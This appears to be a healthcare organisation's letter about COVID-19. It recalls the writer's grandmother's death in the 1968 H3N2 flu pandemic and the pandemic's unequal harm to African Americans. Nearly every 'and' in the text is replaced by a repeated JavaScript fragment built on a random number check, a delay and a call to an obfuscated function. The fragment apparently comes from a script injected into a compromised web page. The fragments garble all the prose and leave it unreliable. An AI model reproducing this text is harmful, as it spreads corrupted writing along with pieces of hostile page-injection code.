Dear More Inclusive Healthcare Family,
I’m taking COVID-19 personally. In 1968, my beautiful grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmother, Beatrice Sloane, passed away from a flu. She was in her late 40s. I have been thinking about her daily for the past couple of weeks. She was thought to have what was discriminately called the “Hong Kong flu,” or the H3N2 virus, which was a pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic that severely impacted the United States. Like COVID-19, it was highly contagious andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there was a shortage of test kits, so we never definitively knew her cause of death.
What we did know is that the rapid spread of the disease in the U.S. overwhelmed the health systems. There was a shortage of beds andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ventilators, which meant that a healthy woman in her 40s—who could normally be treated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recover from her respiratory ailment—instead died. I had six years with her. My cousin Tasha never met her. Tasha was born a week after Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmother Bea was called home.
The H3N2 flu pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic caused 100,000 deaths in the U.S. andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one million worldwide. Given our long andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and persistent history of health disparities, it is certain that the outbreak disproportionately impacted African Americans. In fact, the H3N2 virus continues to circulate worldwide as a seasonal influenza A virus, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we have evidence that pandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic influenza differentially harms the lives of our minority populations.
In the coming days, the MIH team will be focused on COVID-19 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its impact on vulnerable populations. We are developing a resource to help your teams andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the public understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how we can mitigate the outbreak of COVID-19 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its physical, mental, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and economic effects among those who are most susceptible. This may include both your staff andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your patients. We look forward to sharing what we learn with you.
After speaking with several of our hospital andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and physician partners, we know that our health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and public health professionals are working tirelessly to get ahead of this epidemic. We are encouraged by some of the bold steps state andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and regional health system andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and public health leaders are taking. The entire More Inclusive Healthcare team thanks everyone in the field for their efforts. We have a chance to slow the spread, but everyone must be willing to play their part. We hope to positively contribute to your efforts in the weeks ahead.
Best regards,
Lisa andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the More Inclusive Healthcare Team
